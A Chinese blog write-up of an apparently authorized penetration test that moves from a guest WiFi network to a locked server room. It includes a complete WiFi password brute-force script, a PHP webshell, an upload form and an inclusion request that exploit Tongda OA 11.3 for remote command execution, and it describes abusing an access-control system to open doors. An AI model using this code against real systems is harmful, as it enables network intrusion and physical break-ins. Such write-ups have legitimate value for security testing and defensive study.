从访客网络到潜入机房

地球胖头鱼 2021-01-05
系统与内网安全 发布于 2021-01-05 14:28:01 阅读 559 评论 0

前言

在一次项目中,客户需求是在完全黑盒的情况下进行渗透测试,目标是内网某台物理隔离核心系统,由此就展开了我们接下来的测试行动。

正文

访客WIFI

在日常项目中,除了正常的Web资产探测之外,我们也应该合理的利用各类无线网络、物理接口、智能设备的安全缺陷进行近源渗透测试,因此到达目标楼下后,我首先搜索了一下周围的WIFI,果然发现了以目标简称开头的两个热点。

通过测试发现,GUEST热点是普通的密码验证,而Tech热点则无需密码验证,再连接后会自动弹出登录认证页面。

这里我的思路分别是这样的。

WIFI 认证方式 思路
GUEST 密码 暴力破解WIFI连接密码
Tech 二次登录验证 暴力破解用户名密码

这里感觉如果能拿下Tech热点可能会对我们之后的测试过程更有帮助,因此我首先对Tech的热点登陆页面进行了暴力破解,以姓名拼音字典做用户名,弱密码字典为弱口令进行暴力破解。

遗憾的是这里虽然没有对暴力破解进行限制,但是我并没有通过用户名字典和弱口令字典撞库得出想要的结果,所以接下来又重新看了一下GUEST对应的热点,通过名称可以大致推断这应该是一个访客网络。

一般这种场景下为了方便用户使用,密码应该不会设置过于复杂,这里由于我没有带外接网卡,Kali又在虚拟机中,因此我们可以通过形如pywifi的库进行破解连接密码,我们在构造字典的时候,例如目标客服电话、目标简称加数字等等格式都是有极大可能作为密码的,因此我们也要加载到我们的字典中。

from pywifi import const, PyWiFi, Profile
import time

# wifi类
class wifi(object):
  def __init__(self):
    self.wifi = PyWiFi()                  #创建一个无线对象
    self.interfaces = self.wifi.interfaces()        #获取无线网卡接口
    self.iface = self.interfaces[0]              #获取第一个无线网卡接口

  # 获取无线网卡接口
  def get_wifi_interfaces(self):
    num = len(self.interfaces)
    if num <= 0:
      print(u'未找到无线网卡接口!\n')
      exit()
    if num == 1:
      print(u'无线网卡接口: %s\n' % (self.iface.name()))
      return self.iface
    else:
      print('%-4s   %s\n'%(u'序号',u'网卡接口名称'))
      for i, w in enumerate(self.interfaces):
        print('%-4s   %s' % (i, w.name()))
      while True:
        iface_no = input('请选择网卡接口序号:'.decode('utf-8').encode('gbk'))
        no = int(iface_no)
        if no >= 0 and no < num:
          return self.interfaces[no]

  # 查看无线网卡是否处于连接状态
  def check_interfaces(self):                
    if self.iface.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]:
      print('无线网卡:%s 已连接。' % self.iface.name())
    else:
      print('无线网卡:%s 未连接。' % self.iface.name())

  # 扫描周围wifi
  def scan_wifi(self):
    self.iface.scan()                    #扫描周围wifi
    time.sleep(1)                      #不缓冲显示不出来
    result = self.iface.scan_results()            #获取扫描结果,wifi可能会有重复
    has = []                        #初始化已扫描到的wifi
    wifi_list = []                      #初始化扫描结果
    for i in result:
      if i not in has:                  #若has中没有该wifi,则
        has.append(i)                  #添加到has列表
        if i.signal > -90:                #信号强度<-90的wifi几乎连不上
          wifi_list.append((i.ssid, i.signal))    #添加到wifi列表
          print('wifi信号强度:{0},名称:{1}。'.format(i.signal, i.ssid))#输出wifi名称
    return sorted(wifi_list, key=lambda x:x[1], reverse=True)  #按信号强度由高到低排序

  # 连接wifi
  def connect_wifi(self, wifi_name, wifi_password):
    self.iface.disconnect()                  #断开无线网卡连接
    time.sleep(1)                      #缓冲1秒
    profile_info = Profile()                #wifi配置文件
    profile_info.ssid = wifi_name               #wifi名称
    profile_info.auth = const.AUTH_ALG_OPEN         #需要密码
    profile_info.akm.append(const.AKM_TYPE_WPA2PSK)      #加密类型
    profile_info.cipher = const.CIPHER_TYPE_CCMP       #加密单元
    profile_info.key = wifi_password             #wifi密码
    self.iface.remove_all_network_profiles()        #删除其他配置文件
    tmp_profile = self.iface.add_network_profile(profile_info)   #加载配置文件
    self.iface.connect(tmp_profile)              #连接
    #尝试5秒是否能成功连接(时间过短可能会导致正确密码尚未连接成功)
    time.sleep(5)        
    if self.iface.status() == const.IFACE_CONNECTED:
      print('\n==========================================================================')
      print('wifi:{0}连接成功,密码:{1}'.format(wifi_name, wifi_password), end='')
      print('==========================================================================\n')
      return True
    else:
      print('密码错误:{0}'.format(wifi_password), end='')
      return False

  # 断开无线网卡已连接状态
  def disconnect_wifi(self):
    self.iface.disconnect()          
    if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:
      print('无线网卡:%s 已断开。' % self.iface.name())
    else:
      print('无线网卡:%s 未断开。' % self.iface.name())

if __name__ == '__main__':
  sf = ['Y', 'y', 'N', 'n']
  dian = input('是否需要手动点击破解下一个wifi热点(Y/N)?').strip()
  wifi = wifi()                        #实例化wifi类
  wifi.get_wifi_interfaces()                  #获取网卡接口
  wifi.check_interfaces()                    #检测网卡连接状态
  print('\n正在扫描wifi热点...')
  wifiList = wifi.scan_wifi()                  #扫描周围wifi
  print('\n正在破解,时间较长,请耐心等待...')
  #所有破解成功的wifi名称及密码
  user_pwd = []                        
  # 只能单线程破解,因为只有一个无线网卡,不能同时连接多个wifi热点
  for i in wifiList:
    print('正在破解%s,请耐心等待...' % i[0])
    start = time.time()
    with open(r'1800常用弱口令字典.txt', 'r') as f:      
      for password in f:
        try:
          result = wifi.connect_wifi(i[0], password)  #尝试连接wifi
          if result == True:              #若找到密码,则跳出,避免继续查找
            user_pwd.append((i[0], password))    #保存破解成功的wifi及密码
            break
        except:
          continue
    end = time.time()
    shi = end - start
    print('破解耗时:%s秒。' % shi)
    if dian == 'Y' or dian == 'y':
      xia = input('是否继续破解(Y/N)?').strip()
      while xia not in sf:
        print('输入错误,请重新输入!')
        xia = input('是否继续破解(Y/N)?')
      if xia == 'Y' or xia == 'y':
        continue
      else:
        break
  print('\n==========================================================================')
  print('最终统计结果为:')
  with open(r'c:/users/administrator/desktop/wifi.txt', 'a') as pwd:
    for p in user_pwd:
      pwd.write('wifi热点:%s,密码:%s' % (p[0], p[1]))
      print(('wifi热点:%s,密码:%s' % (p[0], p[1])), end='')
  print('==========================================================================\n')
  wifi.disconnect_wifi()

幸运的是,这里我通过一段时间的等待,终于拿到了GUEST的连接密码。

这里连接上GUEST后,我与目标的距离终于是更近了一步,但是GUEST所在的网络显然只是连入了互联网,我们想要得到更多的结果还是要拿下刚才的Tech才行,一般企业无线架构中,这些AP会有自己的管理页面,通过探测相应的web端口,我发现了一个路由管理网页。

接下来就是通过万能的搜索引擎,寻找相应的配置文档,看看是否有相应的默认账户及口令。

幸运的是,我通过文档中的默认账号及密码,成功登入了相应的WEB界面。

图片

接下来我通过Device来查看接入设备的地址,看看是不是有新的可以达到的网络地址进行进一步的测试。

我们可以看到在172.16.*.*有部分设备接入,那么这些网段中除了连入的员工使用的设备,还会存在什么呢?在回答这个问题之前,先说个题外话,在测试过程中,我发现Rucks 7341竟然存在着一个命令执行的漏洞。

无线软路由未授权访问

我们从上面已经得到了172.16.*.*的新的网段,接下来我又对这个区段进行了WEB端口的存活性探测,发现了一个路由管理界面。

这里尝试弱口令以及爆破都没有得到相应的结果,但是目前我们资产收集也没有新的收获,只能寄希望于这里能存在一些可以利用的漏洞了,经过不断的测试以及配置文档的搜索,我发现这里存在着未授权访问的漏洞,通过直接访问/webfig地址就可以直接进入系统面板而无需进行登录,由此,我们顺利的绕过了登录验证的过程。

这里提示是一共有4Interface,这里我注意到了一个新的VLAN,对应的nameoffice,并且我通过ARP看到了他所在的IP区段是172.16.200.*

但是通过测试,我目前所在的GUEST网段与172.16.200.*是无法连通的,所以想要进一步探测office里面有什么,就要想办法让自己连接过去,于是我继续看看这个路由都有什么功能,看看是不是可以有新的发现。

TechWIFI

在看到Hotspot时,存在以下界面。

点击相应的user会进入如下界面。

这里由于对设备不是很熟悉,不太清楚账号和密码是什么意思,只能大致推断,上面我们发现的Interface一共有如下四项。

  • lan
  • net
  • office
  • wan

这里的profile对应写的是net,那会不会我们用这个账号密码连接Tech热点时就可以访问net相应的区段呢?因为我对office更感兴趣,因此我找到了一个profileoffice的账号密码进行了登录测试,成功通过了Tech的验证,并且成功与172.16.200.*网段连通。

通达OA

经过对172.16.200.*的测试,找到了一个OA系统,版本为通达OA 11.3

该版本不仅存在任意用户登录的问题,还存在一个任意文件上传可以导致RCE的漏洞,我们首先本地分析一下这个漏洞,下载好源码先用Zend解密工具解密一下源码,首先看ispirit/im/upload.php

源码中的auth.php是用来检验登录验证的源码。

我们可以看到代码第5行有一个判断语句,如果POST请求中P非空的情况下,代码会将session设置成P参数的值,否则就会对session中的LOGIN_USER_ID以及LOGIN_UID进行验证,检验失败则会提示用户未登陆并退出,所以我们可以构造P参数就可以绕过登录验证,那么我们利用这里就可以在未登录的情况下直接进行文件上传,正常情况下我们访问upload.php

当我们构造$P之后。

这里我们就已经绕过了身份检验的过程,接下来就是构造文件上传,我们接着看下面的代码。

其中的POST参数中的DEST_UID也会进行校验,值如果不是整型的话就会提示接收方ID无效,我们构造DEST_UID再试一次。

接下来我们构造相应的文件上传即可,接着向下看到文件上传的变量名是ATTACHMENT,我们看到52行调用了upload函数。

相关代码在inc\utility_file.php,进行了后缀名的限制。

我们接下来构造文件上传。

上传成功,这里虽然可以通过php.的方法上传php文件,但是上传之后文件位置为attach目录下,并不在根目录,而且文件前被自动加上了随机数,我们无法得知相应的文件名,因此无法直接利用。

我们再接着向下看,

120行输出的databack里面有CONTENT,而这个变量包含了文件名,所以我们直接POST即可对UPLOAD_MODEMSG_CATE赋值,通过UPLOAD_MODE1的方法就可以解决文件名的问题,我们需要解决文件目录的问题了,这里无法通过../进行路径穿越,所以我们需要寻找一下文件包含的点,接下来我们来看ispirit\interface\gateway.php

其中url参数中含有general/ispirit/module/之一,那么就include_once变量url中的值,即可包含任意文件,分析完成后,我们开始进行利用,首先编写我们中途利用到的木马1.jpg

<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");  
$stdout = $exec->StdOut();  
$stroutput = $stdout->ReadAll();  
echo $stroutput;
?>

再构造如下界面进行上传。

<html>
<head>
</head>
<body>
    <form method="POST" action="http://172.16.200.153/ispirit/im/upload.php" enctype="multipart/form-data">
        <input  type="text"name='P' value = 1  ></input>
        <input  type="text"name='MSG_CATE' value = 'file'></input>
        <input  type="text"name='UPLOAD_MODE' value = 1 ></input>
        <input type="text" name="DEST_UID" value = 1></input>
        <input type="file" name="ATTACHMENT"></input>
        <input type="submit" ></input>
    </form>
</body>
</html>

然后将我们的木马上传上去。

图片

得到了我们相应的文件位置attach/im/2011/820599126.1.jpg,之后利用gateway.php进行文件包含,并利用如下语句进行RCE

json={"url":"/general/../../attach/im/2011/820599126.1.jpg"}&cmd=dir

而且权限是system

之后就是常规操作,拿下服务器。

门禁系统

在拿下OA服务器这个小倒霉蛋之后,就是常规内网扫了一下整个B段开启3389的机器,然后用刚才抓取的密码进行了碰撞,尝试是否有密码复用的情况,在碰撞过程中,扫到了一台门禁系统的服务器,并且成功用域账户进行了登录,由于前面扫描资产存活的时候,为了速度,脚本里面只添加了几个常用的80443这些端口,这个8088端口提供服务的门禁系统也就成了漏网之鱼,在服务器上看到这个系统之后,首先还是进行了访问,登录界面还是需要账户密码验证,但是这里我已经登上服务器了还怕没有密码?从配置文件中找到系统的数据库连接密码后连接数据库,直接查看了admin账户对应的密码。

图片

登录到系统上一看,是一个门禁系统。

这里为什么要提一下这个门禁系统呢,因为这个门禁系统不仅可以实时监控各个考勤机的状态,甚至还能远程开关门。

至此,我已经能随意在这座大厦的任何一个房间自由出入了。

靶标

因为文章刚开始也说了,这次的靶标是物理隔离的,因此我必须找到相应机房的交换机,然后把自己的设备用网线连接上去,之后才能继续测试,在上面拿下门禁系统后,我已经可以自由的打开相应服务器所在机房的大门,也是终于从访客WIFI终于肉身接触到靶标所在的服务器了,插好网线,配好IP,我已经是可以直通靶标的一员了。

但是由于是目标最核心系统,因此是不仅WEB端需要账号密码认证,还需要有动态密码才能进行登录,因此放弃了直接通过WEB端开始入手的想法,测试了好久也没什么进展。

正在我一筹莫展的时候,我转念一想,在这种核心物理隔离,又不与外网连通的地方,入侵者入侵起来麻烦,运维师傅维护起来估计也不容易,想必也不经常打补丁,先探测探测整个C段的端口,看看有没有能直接利用的主机漏洞或者其他端口上的WEB服务来曲线救国的。

扫描结束后,我惊奇的发现我们的靶标,竟然开放了445端口。这幸福来的也太突然了。

至此,我的从访客网络到潜入机房的行动彻底收工!

原创:酒仙桥六号部队

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章253
  • 作者收获粉丝11
  • 作者收到点赞4
  • 所有文章被收藏了6
  • 博客总访问量排行第2
  • 博客总访问量10.3 万(每日更新)
查看所有博文